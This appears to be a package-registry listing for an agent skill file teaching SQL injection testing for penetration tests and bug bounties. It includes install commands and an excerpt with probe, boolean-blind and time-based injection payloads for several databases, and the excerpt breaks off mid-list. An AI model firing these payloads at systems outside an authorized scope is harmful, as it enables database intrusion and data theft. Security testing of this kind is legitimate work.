offensive-sqli skillB

offensive-sqli is agent-read markdown (skill) from snailsploit/claude-red: SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploitation (MySQL, MSSQL, PostgreSQL, Oracle), cloud-native attack paths, ORM CVE tracking, and SQLmap automation. Use when performing web application SQL injection testing, database enumeration, privilege escalation via SQL.

Indexed from public GitHub and served as immutable, content-addressed versions. Install it pinned to an exact SHA-256 with the mdr CLI, and every file is verified against the hash recorded here before it reaches your agent. The deterministic audit below grades the latest version, and the same file always earns the same grade.

What the file says

# SQL Injection — Offensive Testing Methodology

## Quick Workflow

1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
3. Identify database type and enumerate schema
4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
5. Document findings and suggest remediation

---

## Detection

### Basic Probes — All Input Vectors

```
' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

### Error-Based Detection

Trigger syntax errors to reveal database type and query structure:

```
'  ''  `  "  ""  ,  %  \
```

Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.

### Boolean-Based Blind

```sql
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
```

Observe response size/content differences between true and false conditions.

### Time-Based Blind

```sql
-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle

How to install

Latest version
mdr add snailsploit/claude-red/offensive-sqli@git:20260506.70e0c89
Exact content
mdr add snailsploit/claude-red/offensive-sqli@sha256:e9f37270d2cf9093

Pin to a label to follow the author's releases, or to a sha256 to freeze the exact bytes forever. Either way the resolved hash is written to mdr.lock, and mdr install reproduces it on any machine.
